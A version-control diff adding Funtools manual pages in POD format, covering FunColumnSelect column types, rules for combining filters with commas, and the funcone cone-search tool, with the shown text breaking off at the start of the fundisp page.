|
||||
|
||||
=item *
|
||||
|
||||
J: signed 32-bit int
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
V: unsigned 32-bit int (not standard FITS)
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
E: 32-bit float
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
D: 64-bit float
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
The syntax used is similar to that which defines the TFORM parameter
|
||||
in FITS binary tables. That is, a numeric repeat value can precede
|
||||
the type character, so that "10I" means a vector of 10 short ints, "E"
|
||||
means a single precision float, etc. Note that the column value from
|
||||
the input file will be converted to the specified data type as the
|
||||
data is read by
|
||||
FunTableRowGet().
|
||||
|
||||
|
||||
[ A short digression regarding bit-fields: Special attention is
|
||||
required when reading or writing the FITS bit-field type
|
||||
("X"). Bit-fields almost always have a numeric repeat character
|
||||
preceding the 'X' specification. Usually this value is a multiple of 8
|
||||
so that bit-fields fit into an integral number of bytes. For all
|
||||
cases, the byte size of the bit-field B is (N+7)/8, where N is the
|
||||
numeric repeat character.
|
||||
|
||||
|
||||
A bit-field is most easily declared in the user struct as an array of
|
||||
type char of size B as defined above. In this case, bytes are simply
|
||||
moved from the file to the user space. If, instead, a short or int
|
||||
scalar or array is used, then the algorithm for reading the bit-field
|
||||
into the user space depends on the size of the data type used along
|
||||
with the value of the repeat character. That is, if the user data
|
||||
size is equal to the byte size of the bit-field, then the data is
|
||||
simply moved (possibly with endian-based byte-swapping) from one to
|
||||
the other. If, on the other hand, the data storage is larger than the
|
||||
bit-field size, then a data type cast conversion is performed to move
|
||||
parts of the bit-field into elements of the array. Examples will help
|
||||
make this clear:
|
||||
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
If the file contains a 16X bit-field and user space specifies a 2B
|
||||
char array[2], then the bit-field is moved directly into the char array.
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
If the file contains a 16X bit-field and user space specifies a 1I
|
||||
scalar short int, then the bit-field is moved directly into the short int.
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
If the file contains a 16X bit-field and user space specifies a 1J
|
||||
scalar int, then the bit-field is type-cast to unsigned int before
|
||||
being moved (use of unsigned avoids possible sign extension).
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
If the file contains a 16X bit-field and user space specifies a 2J
|
||||
int array[2], then the bit-field is handled as 2 chars, each of which
|
||||
are type-cast to unsigned int before being moved (use of unsigned
|
||||
avoids possible sign extension).
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
If the file contains a 16X bit-field and user space specifies a 1B
|
||||
char, then the bit-field is treated as a char, i.e., truncation will
|
||||
occur.
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
If the file contains a 16X bit-field and user space specifies a 4J
|
||||
int array[4], then the results are undetermined.
|
||||
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
For all user data types larger than char, the bit-field is byte-swapped
|
||||
as necessary to convert to native format, so that bits in the
|
||||
resulting data in user space can be tested, masked, etc. in the same
|
||||
way regardless of platform.]
|
||||
|
||||
|
||||
In addition to setting data type and size, the B<type>
|
||||
specification allows a few ancillary parameters to be set, using the
|
||||
full syntax for B<type>:
|
||||
|
||||
[@][n]<type>[[['B']poff]][:[tlmin[:tlmax[:binsiz]]]]
|
||||
|
||||
|
||||
|
||||
The special character "@" can be prepended to this specification to
|
||||
indicated that the data element is a pointer in the user record,
|
||||
rather than an array stored within the record.
|
||||
|
||||
|
||||
The [n] value is an integer that specifies the
|
||||
number of elements that are in this column (default is 1). TLMIN,
|
||||
TLMAX, and BINSIZ values also can be specified for this column after
|
||||
the type, separated by colons. If only one such number is specified,
|
||||
it is assumed to be TLMAX, and TLMIN and BINSIZ are set to 1.
|
||||
|
||||
|
||||
The [poff] value can be used to specify the offset into an
|
||||
array. By default, this offset value is set to zero and the data
|
||||
specified starts at the beginning of the array. The offset usually
|
||||
is specified in terms of the data type of the column. Thus an offset
|
||||
specification of [5] means a 20-byte offset if the data type is a
|
||||
32-bit integer, and a 40-byte offset for a double. If you want to
|
||||
specify a byte offset instead of an offset tied to the column data type,
|
||||
precede the offset value with 'B', e.g. [B6] means a 6-bye offset,
|
||||
regardless of the column data type.
|
||||
|
||||
The [poff] is especially useful in conjunction with the pointer @
|
||||
specification, since it allows the data element to anywhere stored
|
||||
anywhere in the allocated array. For example, a specification such as
|
||||
"@I[2]" specifies the third (i.e., starting from 0) element in the
|
||||
array pointed to by the pointer value. A value of "@2I[4]" specifies
|
||||
the fifth and sixth values in the array. For example, consider the
|
||||
following specification:
|
||||
|
||||
typedef struct EvStruct{
|
||||
short x[4], *atp;
|
||||
} *Event, EventRec;
|
||||
/* set up the (hardwired) columns */
|
||||
FunColumnSelect( fun, sizeof(EventRec), NULL,
|
||||
"2i", "2I ", "w", FUN_OFFSET(Event, x),
|
||||
"2i2", "2I[2]", "w", FUN_OFFSET(Event, x),
|
||||
"at2p", "@2I", "w", FUN_OFFSET(Event, atp),
|
||||
"at2p4", "@2I[4]", "w", FUN_OFFSET(Event, atp),
|
||||
"atp9", "@I[9]", "w", FUN_OFFSET(Event, atp),
|
||||
"atb20", "@I[B20]", "w", FUN_OFFSET(Event, atb),
|
||||
NULL);
|
||||
|
||||
Here we have specified the following columns:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
2i: two short ints in an array which is stored as part the
|
||||
record
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
2i2: the 3rd and 4th elements of an array which is stored
|
||||
as part of the record
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
an array of at least 10 elements, not stored in the record but
|
||||
allocated elsewhere, and used by three different columns:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
at2p: 2 short ints which are the first 2 elements of the allocated array
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
at2p4: 2 short ints which are the 5th and 6th elements of
|
||||
the allocated array
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
atp9: a short int which is the 10th element of the allocated array
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
atb20: a short int which is at byte offset 20 of another allocated array
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
In this way, several columns can be specified, all of which are in a
|
||||
single array. B<NB>: it is the programmer's responsibility to
|
||||
ensure that specification of a positive value for poff does not point
|
||||
past the end of valid data.
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<read/write mode>: "r" means that the column is read from an
|
||||
input file into user space by
|
||||
FunTableRowGet(), "w" means that
|
||||
the column is written to an output file. Both can specified at the same
|
||||
time.
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<offset>: the offset into the user data to store
|
||||
this column. Typically, the macro FUN_OFFSET(recname, colname) is used
|
||||
to define the offset into a record structure.
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
When all column arguments have been specified, a final NULL argument
|
||||
must added to signal the column selection list.
|
||||
|
||||
|
||||
As an alternative to the varargs
|
||||
FunColumnSelect()
|
||||
routine, a non-varargs routine called
|
||||
FunColumnSelectArr()
|
||||
also is available. The first three arguments (fun, size, plist) of this
|
||||
routine are the same as in
|
||||
FunColumnSelect().
|
||||
Instead of a variable
|
||||
argument list, however,
|
||||
FunColumnSelectArr()
|
||||
takes 5 additional arguments. The first 4 arrays arguments contain the
|
||||
names, types, modes, and offsets, respectively, of the columns being
|
||||
selected. The final argument is the number of columns that are
|
||||
contained in these arrays. It is the user's responsibility to free
|
||||
string space allocated in these arrays.
|
||||
|
||||
|
||||
Consider the following example:
|
||||
|
||||
typedef struct evstruct{
|
||||
int status;
|
||||
float pi, pha, *phas;
|
||||
double energy;
|
||||
} *Ev, EvRec;
|
||||
|
||||
FunColumnSelect(fun, sizeof(EvRec), NULL,
|
||||
"status", "J", "r", FUN_OFFSET(Ev, status),
|
||||
"pi", "E", "r", FUN_OFFSET(Ev, pi),
|
||||
"pha", "E", "r", FUN_OFFSET(Ev, pha),
|
||||
"phas", "@9E", "r", FUN_OFFSET(Ev, phas),
|
||||
NULL);
|
||||
|
||||
|
||||
Each time a row is read into the Ev struct, the "status" column is
|
||||
converted to an int data type (regardless of its data type in the
|
||||
file) and stored in the status value of the struct. Similarly, "pi"
|
||||
and "pha", and the phas vector are all stored as floats. Note that the
|
||||
"@" sign indicates that the "phas" vector is a pointer to a 9 element
|
||||
array, rather than an array allocated in the struct itself. The row
|
||||
record can then be processed as required:
|
||||
|
||||
/* get rows -- let routine allocate the row array */
|
||||
while( (ebuf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
|
||||
/* process all rows */
|
||||
for(i=0; i<got; i++){
|
||||
/* point to the i'th row */
|
||||
ev = ebuf+i;
|
||||
ev->pi = (ev->pi+.5);
|
||||
ev->pha = (ev->pi-.5);
|
||||
}
|
||||
|
||||
|
||||
|
||||
FunColumnSelect()
|
||||
can also be called to define "writable" columns in order to generate a FITS
|
||||
Binary Table, without reference to any input columns. For
|
||||
example, the following will generate a 4-column FITS binary table when
|
||||
FunTableRowPut() is used to
|
||||
write Ev records:
|
||||
|
||||
|
||||
typedef struct evstruct{
|
||||
int status;
|
||||
float pi, pha
|
||||
double energy;
|
||||
} *Ev, EvRec;
|
||||
|
||||
FunColumnSelect(fun, sizeof(EvRec), NULL,
|
||||
"status", "J", "w", FUN_OFFSET(Ev, status),
|
||||
"pi", "E", "w", FUN_OFFSET(Ev, pi),
|
||||
"pha", "E", "w", FUN_OFFSET(Ev, pha),
|
||||
"energy", "D", "w", FUN_OFFSET(Ev, energy),
|
||||
NULL);
|
||||
|
||||
All columns are declared to be write-only, so presumably the column
|
||||
data is being generated or read from some other source.
|
||||
|
||||
|
||||
In addition,
|
||||
FunColumnSelect()
|
||||
can be called to define B<both> "readable" and "writable" columns.
|
||||
In this case, the "read" columns
|
||||
are associated with an input file, while the "write" columns are
|
||||
associated with the output file. Of course, columns can be specified as both
|
||||
"readable" and "writable", in which case they are read from input
|
||||
and (possibly modified data values are) written to the output.
|
||||
The
|
||||
FunColumnSelect()
|
||||
call itself is made by passing the input Funtools handle, and it is
|
||||
assumed that the output file has been opened using this input handle
|
||||
as its
|
||||
Funtools reference handle.
|
||||
|
||||
|
||||
Consider the following example:
|
||||
|
||||
typedef struct evstruct{
|
||||
int status;
|
||||
float pi, pha, *phas;
|
||||
double energy;
|
||||
} *Ev, EvRec;
|
||||
|
||||
FunColumnSelect(fun, sizeof(EvRec), NULL,
|
||||
"status", "J", "r", FUN_OFFSET(Ev, status),
|
||||
"pi", "E", "rw", FUN_OFFSET(Ev, pi),
|
||||
"pha", "E", "rw", FUN_OFFSET(Ev, pha),
|
||||
"phas", "@9E", "rw", FUN_OFFSET(Ev, phas),
|
||||
"energy", "D", "w", FUN_OFFSET(Ev, energy),
|
||||
NULL);
|
||||
|
||||
As in the "read" example above, each time an row is read into the Ev
|
||||
struct, the "status" column is converted to an int data type
|
||||
(regardless of its data type in the file) and stored in the status
|
||||
value of the struct. Similarly, "pi" and "pha", and the phas vector
|
||||
are all stored as floats. Since the "pi", "pha", and "phas" variables
|
||||
are declared as "writable" as well as "readable", they also will be
|
||||
written to the output file. Note, however, that the "status" variable
|
||||
is declared as "readable" only, and hence it will not be written to
|
||||
an output file. Finally, the "energy" column is declared as
|
||||
"writable" only, meaning it will not be read from the input file. In
|
||||
this case, it can be assumed that "energy" will be calculated in the
|
||||
program before being output along with the other values.
|
||||
|
||||
|
||||
In these simple cases, only the columns specified as "writable" will
|
||||
be output using
|
||||
FunTableRowPut(). However,
|
||||
it often is the case that you want to merge the user columns back in
|
||||
with the input columns, even in cases where not all of the input
|
||||
column names are explicitly read or even known. For this important
|
||||
case, the B<merge=[type]> keyword is provided in the plist string.
|
||||
|
||||
|
||||
The B<merge=[type]> keyword tells Funtools to merge the columns from
|
||||
the input file with user columns on output. It is normally used when
|
||||
an input and output file are opened and the input file provides the
|
||||
Funtools reference handle
|
||||
for the output file. In this case, each time
|
||||
FunTableRowGet() is called, the
|
||||
raw input rows are saved in a special buffer. If
|
||||
FunTableRowPut() then is called
|
||||
(before another call to
|
||||
FunTableRowGet()), the contents
|
||||
of the raw input rows are merged with the user rows according to the
|
||||
value of B<type> as follows:
|
||||
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<update>: add new user columns, and update value of existing ones (maintaining the input data type)
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<replace>: add new user columns, and replace the data type
|
||||
and value of existing ones. (Note that if tlmin/tlmax values are not
|
||||
specified in the replacing column, but are specified in the original
|
||||
column being replaced, then the original tlmin/tlmax values are used
|
||||
in the replacing column.)
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<append>: only add new columns, do not "replace" or "update" existing ones
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
Consider the example above. If B<merge=update> is specified in the
|
||||
plist string, then "energy" will be added to the input columns, and
|
||||
the values of "pi", "pha", and "phas" will be taken from the user
|
||||
space (i.e., the values will be updated from the original values, if
|
||||
they were changed by the program). The data type for "pi", "pha", and
|
||||
"phas" will be the same as in the original file. If
|
||||
B<merge=replace> is specified, both the data type and value of
|
||||
these three input columns will be changed to the data type and value
|
||||
in the user structure. If B<merge=append> is specified, none of
|
||||
these three columns will be updated, and only the "energy" column will
|
||||
be added. Note that in all cases, "status" will be written from the
|
||||
input data, not from the user record, since it was specified as read-only.
|
||||
|
||||
|
||||
Standard applications will call
|
||||
FunColumnSelect()
|
||||
to define user columns. However, if this routine is not called, the
|
||||
default behavior is to transfer all input columns into user space. For
|
||||
this purpose a default record structure is defined such that each data
|
||||
element is properly aligned on a valid data type boundary. This
|
||||
mechanism is used by programs such as fundisp and funtable to process
|
||||
columns without needing to know the specific names of those columns.
|
||||
It is not anticipated that users will need such capabilities (contact
|
||||
us if you do!)
|
||||
|
||||
|
||||
By default, FunColumnSelect()
|
||||
reads/writes rows to/from an "array of structs", where each struct contains
|
||||
the column values for a single row of the table. This means that the
|
||||
returned values for a given column are not contiguous. You can
|
||||
set up the IO to return a "struct of arrays" so that each of the
|
||||
returned columns are contiguous by specifying B<org=structofarrays>
|
||||
(abbreviation: B<org=soa>) in the plist.
|
||||
(The default case is B<org=arrayofstructs> or B<org=aos>.)
|
||||
|
||||
|
||||
For example, the default setup to retrieve rows from a table would be
|
||||
to define a record structure for a single event and then call
|
||||
FunColumnSelect()
|
||||
as follows:
|
||||
|
||||
typedef struct evstruct{
|
||||
short region;
|
||||
double x, y;
|
||||
int pi, pha;
|
||||
double time;
|
||||
} *Ev, EvRec;
|
||||
|
||||
got = FunColumnSelect(fun, sizeof(EvRec), NULL,
|
||||
"x", "D:10:10", mode, FUN_OFFSET(Ev, x),
|
||||
"y", "D:10:10", mode, FUN_OFFSET(Ev, y),
|
||||
"pi", "J", mode, FUN_OFFSET(Ev, pi),
|
||||
"pha", "J", mode, FUN_OFFSET(Ev, pha),
|
||||
"time", "1D", mode, FUN_OFFSET(Ev, time),
|
||||
NULL);
|
||||
|
||||
Subsequently, each call to
|
||||
FunTableRowGet()
|
||||
will return an array of structs, one for each returned row. If instead you
|
||||
wanted to read columns into contiguous arrays, you specify B<org=soa>:
|
||||
|
||||
typedef struct aevstruct{
|
||||
short region[MAXROW];
|
||||
double x[MAXROW], y[MAXROW];
|
||||
int pi[MAXROW], pha[MAXROW];
|
||||
double time[MAXROW];
|
||||
} *AEv, AEvRec;
|
||||
|
||||
got = FunColumnSelect(fun, sizeof(AEvRec), "org=soa",
|
||||
"x", "D:10:10", mode, FUN_OFFSET(AEv, x),
|
||||
"y", "D:10:10", mode, FUN_OFFSET(AEv, y),
|
||||
"pi", "J", mode, FUN_OFFSET(AEv, pi),
|
||||
"pha", "J", mode, FUN_OFFSET(AEv, pha),
|
||||
"time", "1D", mode, FUN_OFFSET(AEv, time),
|
||||
NULL);
|
||||
|
||||
Note that the only modification to the call is in the plist string.
|
||||
|
||||
|
||||
Of course, instead of using staticly allocated arrays, you also can specify
|
||||
dynamically allocated pointers:
|
||||
|
||||
/* pointers to arrays of columns (used in struct of arrays) */
|
||||
typedef struct pevstruct{
|
||||
short *region;
|
||||
double *x, *y;
|
||||
int *pi, *pha;
|
||||
double *time;
|
||||
} *PEv, PEvRec;
|
||||
|
||||
got = FunColumnSelect(fun, sizeof(PEvRec), "org=structofarrays",
|
||||
"$region", "@I", mode, FUN_OFFSET(PEv, region),
|
||||
"x", "@D:10:10", mode, FUN_OFFSET(PEv, x),
|
||||
"y", "@D:10:10", mode, FUN_OFFSET(PEv, y),
|
||||
"pi", "@J", mode, FUN_OFFSET(PEv, pi),
|
||||
"pha", "@J", mode, FUN_OFFSET(PEv, pha),
|
||||
"time", "@1D", mode, FUN_OFFSET(PEv, time),
|
||||
NULL);
|
||||
|
||||
Here, the actual storage space is either allocated by the user or by the
|
||||
FunColumnSelect() call).
|
||||
|
||||
|
||||
In all of the above cases, the same call is made to retrieve rows, e.g.:
|
||||
|
||||
buf = (void *)FunTableRowGet(fun, NULL, MAXROW, NULL, &got);
|
||||
|
||||
However, the individual data elements are accessed differently.
|
||||
For the default case of an "array of structs", the
|
||||
individual row records are accessed using:
|
||||
|
||||
for(i=0; i<got; i++){
|
||||
ev = (Ev)buf+i;
|
||||
fprintf(stdout, "%.2f\t%.2f\t%d\t%d\t%.4f\t%.4f\t%21.8f\n",
|
||||
ev->x, ev->y, ev->pi, ev->pha, ev->dx, ev->dy, ev->time);
|
||||
}
|
||||
|
||||
For a struct of arrays or a struct of array pointers, we have a single struct
|
||||
through which we access individual columns and rows using:
|
||||
|
||||
aev = (AEv)buf;
|
||||
for(i=0; i<got; i++){
|
||||
fprintf(stdout, "%.2f\t%.2f\t%d\t%d\t%.4f\t%.4f\t%21.8f\n",
|
||||
aev->x[i], aev->y[i], aev->pi[i], aev->pha[i],
|
||||
aev->dx[i], aev->dy[i], aev->time[i]);
|
||||
}
|
||||
|
||||
Support for struct of arrays in the
|
||||
FunTableRowPut()
|
||||
call is handled analogously.
|
||||
|
||||
|
||||
See the evread example code
|
||||
and
|
||||
evmerge example code
|
||||
for working examples of how
|
||||
FunColumnSelect() is used.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,157 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunCombine: Combining Region and Table Filters>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
This document discusses the conventions for combining region and table
|
||||
filters, especially with regards to the comma operator.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
B<Comma Conventions>
|
||||
|
||||
Filter specifications consist of a series of boolean expressions,
|
||||
separated by commas. These expressions can be table filters,
|
||||
spatial region filters, or combinations thereof. Unfortunately,
|
||||
common usage requires that the comma operator must act differently
|
||||
in different situations. Therefore, while its use is intuitive in
|
||||
most cases, commas can be a source of confusion.
|
||||
|
||||
|
||||
According to long-standing usage in IRAF, when a comma separates two
|
||||
table filters, it takes on the meaning of a boolean B<and>. Thus:
|
||||
|
||||
foo.fits[pha==1,pi==2]
|
||||
|
||||
is equivalent to:
|
||||
|
||||
foo.fits[pha==1 && pi==2]
|
||||
|
||||
|
||||
When a comma separates two spatial region filters, however, it has
|
||||
traditionally taken on the meaning of a boolean B<or>. Thus:
|
||||
|
||||
foo.fits[circle(10,10,3),ellipse(20,20,8,5)]
|
||||
|
||||
is equivalent to:
|
||||
|
||||
foo.fits[circle(10,10,3) || ellipse(20,20,8,5)]
|
||||
|
||||
(except that in the former case, each region is given a unique id
|
||||
in programs such as funcnts).
|
||||
|
||||
|
||||
Region and table filters can be combined:
|
||||
|
||||
foo.fits[circle(10,10,3),pi=1:5]
|
||||
|
||||
or even:
|
||||
|
||||
foo.fits[pha==1&&circle(10,10,3),pi==2&&ellipse(20,20,8,5)]
|
||||
|
||||
In these cases, it is not obvious whether the command should utilize an
|
||||
B<or> or B<and> operator. We therefore arbitrarily chose to
|
||||
implement the following rule:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
if both expressions contain a region, the operator used is B<or>.
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
if one (or both) expression(s) does not contain a region, the operator
|
||||
used is B<and>.
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
This rule handles the cases of pure regions and pure column filters properly.
|
||||
It unambiguously assigns the boolean B<and> to all mixed cases. Thus:
|
||||
|
||||
foo.fits[circle(10,10,3),pi=1:5]
|
||||
|
||||
and
|
||||
|
||||
foo.fits[pi=1:5,circle(10,10,3)]
|
||||
|
||||
both are equivalent to:
|
||||
|
||||
foo.fits[circle(10,10,3) && pi=1:5]
|
||||
|
||||
|
||||
|
||||
[NB: This arbitrary rule B<replaces the previous arbitrary rule>
|
||||
(pre-funtools 1.2.3) which stated:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
if the 2nd expression contains a region, the operator used is B<or>.
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
if the 2nd expression does not contain a region, the operator
|
||||
used is B<and>.
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
In that scenario, the B<or> operator was implied by:
|
||||
|
||||
pha==4,circle 5 5 1
|
||||
|
||||
while the B<and> operator was implied by
|
||||
|
||||
circle 5 5 1,pha==4
|
||||
|
||||
Experience showed that this non-commutative treatment of the comma
|
||||
operator was confusing and led to unexpected results.]
|
||||
|
||||
|
||||
The comma rule must be considered provisional: comments and complaints
|
||||
are welcome to help clarify the matter. Better still, we recommend
|
||||
that the comma operator be avoided in such cases in favor of an
|
||||
explicit boolean operator.
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,191 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<funcone - cone search of a binary table containing RA, Dec columns>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
funcone <switches> <iname> <oname> <ra[hdr]> <dec[hdr]> <radius[dr'"]> [columns]
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 OPTIONS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
-d deccol:[hdr] # Dec column name, units (def: DEC:d)
|
||||
-j # join columns from list file
|
||||
-J # join columns from list file, output all rows
|
||||
-l listfile # read centers and radii from a list
|
||||
-L listfile # read centers and radii from a list, output list rows
|
||||
-n # don't use cone limits as a filter
|
||||
-r racol:[hdr] # RA column name, units (def: RA:h)
|
||||
-x # append RA_CEN, DEC_CEN, RAD_CEN, CONE_KEY cols
|
||||
-X # append RA_CEN, DEC_CEN, RAD_CEN, CONE_KEY cols, output all rows
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
Funcone performs a cone search on the RA and Dec columns of a FITS
|
||||
binary table. The distance from the center RA, Dec position to the RA,
|
||||
Dec in each row in the table is calculated. Rows whose distance is
|
||||
less than the specified radius are output.
|
||||
|
||||
|
||||
The first argument to the program specifies the FITS file, raw event
|
||||
file, or raw array file. If "stdin" is specified, data are read from
|
||||
the standard input. Use Funtools Bracket
|
||||
Notation to specify FITS extensions, and filters. The second
|
||||
argument is the output FITS file. If "stdout" is specified, the FITS
|
||||
binary table is written to the standard output.
|
||||
|
||||
|
||||
The third and fourth required arguments are the RA and Dec center
|
||||
position. By default, RA is specified in hours while Dec is specified
|
||||
in degrees. You can change the units of either of these by appending
|
||||
the character "d" (degrees), "h" (hours) or "r" (radians). Sexagesimal
|
||||
notation is supported, with colons or spaces separating hms and dms.
|
||||
(When using spaces, please ensure that the entire string is quoted.)
|
||||
|
||||
|
||||
The fifth required argument is the radius of the cone search. By default,
|
||||
the radius value is given in degrees. The units can be changed by appending
|
||||
the character "d" (degrees), "r" (radians), "'" (arc minutes) or
|
||||
'"' (arc seconds).
|
||||
|
||||
|
||||
By default, all
|
||||
columns of the input file are copied to the output file. Selected
|
||||
columns can be output using an optional sixth argument in the form:
|
||||
|
||||
"column1 column1 ... columnN"
|
||||
|
||||
A seventh argument allows you to output selected columns from the list
|
||||
file when B<-j> switch is used. Note that the RA and Dec columns
|
||||
used in the cone calculation must not be de-selected.
|
||||
|
||||
|
||||
Also by default, the RA and Dec column names are named "RA" and "Dec",
|
||||
and are given in units of hours and degrees respectively. You can
|
||||
change both the name and the units using the -r [RA] and/or -d [Dec]
|
||||
switches. Once again, one of "h", "d", or "r" is appended to the
|
||||
column name to specify units but in this case, there must be a colon ":"
|
||||
between the name and the unit specification.
|
||||
|
||||
|
||||
If the B<-l [listfile]> switch is used, then one or more of the
|
||||
center RA, center Dec, and radius can be taken from a list file (which
|
||||
can be a FITS table or an ASCII column text file). In this case, the
|
||||
third (center RA), fourth (center Dec), and fifth (radius) command
|
||||
line arguments can either be a column name in the list file (if that
|
||||
parameter varies) or else a numeric value (if that parameter is
|
||||
static). When a column name is specified for the RA, Dec, or radius,
|
||||
you can append a colon followed by "h", "d", or "r" to specify units
|
||||
(also ' and " for radius). The cone search algorithm is run once for
|
||||
each row in the list, taking RA, Dec, and radius values from the
|
||||
specified columns or from static numeric values specified on the
|
||||
command line.
|
||||
|
||||
|
||||
When using a list, all valid rows from each iteration are written to a
|
||||
single output file. Use the B<-x> switch to help delineate which
|
||||
line of the list file was used to produce the given output row(s).
|
||||
This switch causes the values for the center RA, Dec, radius, and row
|
||||
number to be appended to the output file, in columns called RA_CEN,
|
||||
DEC_CEN, RAD_CEN and CONE_KEY, respectively. Alternatively, the
|
||||
B<-j> (join) switch will append all columns from the list row to
|
||||
the output row (essentially a join of the list row and input row),
|
||||
along with the CONE_KEY row number. These two switches are mutually
|
||||
exclusive.
|
||||
|
||||
|
||||
The B<-X> and B<-J> switches write out the same data as their
|
||||
lower case counterparts for each row satisfying a cone search. In
|
||||
addition, these switches also write out rows from the event file that
|
||||
do not satisfy any cone search. In such cases, that CONE_KEY column
|
||||
will be given a value of -1 and the center and list position information
|
||||
will be set to zero for the given row. Thus, all rows of the input
|
||||
event file are guaranteed to be output, with rows satisfying at least
|
||||
one cone search having additional search information.
|
||||
|
||||
|
||||
The B<-L> switch acts similarly to the B<-l> switch in that it
|
||||
takes centers from a list file. However, it also implicitly sets the
|
||||
-j switch, so that output rows are the join of the input event row and
|
||||
the center position row. In addition, this switch also writes out all
|
||||
center position rows for which no event satisfies the cone search
|
||||
criteria of that row. The CONE_KEY column will be given a value of -2
|
||||
for center rows that were not close to any data row and the event
|
||||
columns will be zeroed out for such rows. In this way, all centers
|
||||
rows are guaranteed to be output at least once.
|
||||
|
||||
|
||||
If any of "all row" switches (B<-X>, B<-J>, or B<-L>) are
|
||||
specified, then a new column named JSTAT is added to the output table.
|
||||
The positive values in this column indicate the center position row number
|
||||
(starting from 1) in the list file that this data row successful matched
|
||||
in a cone search. A value of -1 means that the data row did not match
|
||||
any center position. A value of -2 means that the center position was
|
||||
not matched by any data row.
|
||||
|
||||
|
||||
Given a center position and radius, the cone search algorithm
|
||||
calculates limit parameters for a box enclosing the specified cone,
|
||||
and only tests rows whose positions values lie within those limits.
|
||||
For small files, the overhead associated with this cone limit
|
||||
filtering can cause the program to run more slowly than if all events
|
||||
were tested. You can turn off cone limit filtering using the B<-n>
|
||||
switch to see if this speeds up the processing (especially useful when
|
||||
processing a large list of positions).
|
||||
|
||||
|
||||
For example, the default cone search uses columns "RA" and "Dec" in hours
|
||||
and degrees (respectively) and RA position in hours, Dec and radius in degrees:
|
||||
|
||||
funone in.fits out.fits 23.45 34.56 0.01
|
||||
|
||||
To specify the RA position in degrees:
|
||||
|
||||
funcone in.fits out.fits 23.45d 34.56 0.01
|
||||
|
||||
To get RA and Dec from a list but use a static value for radius (and
|
||||
also write identifying info for each row in the list):
|
||||
|
||||
funcone -x -l list.txt in.fits out.fits MYRA MYDec 0.01
|
||||
|
||||
User specified columns in degrees, RA position in hours (sexagesimal
|
||||
notation), Dec position in degrees (sexagesimal notation) and radius
|
||||
in arc minutes:
|
||||
|
||||
funcone -r myRa:d -d myDec in.fits out.fits 12:30:15.5 30:12 15'
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,484 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<fundisp - display data in a Funtools data file>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
fundisp [-f format] [-l] [-n] [-T] <iname> [columns|bitpix=n]
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 OPTIONS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
-f # format string for display
|
||||
-l # display image as a list containing the columns X, Y, VAL
|
||||
-n # don't output header
|
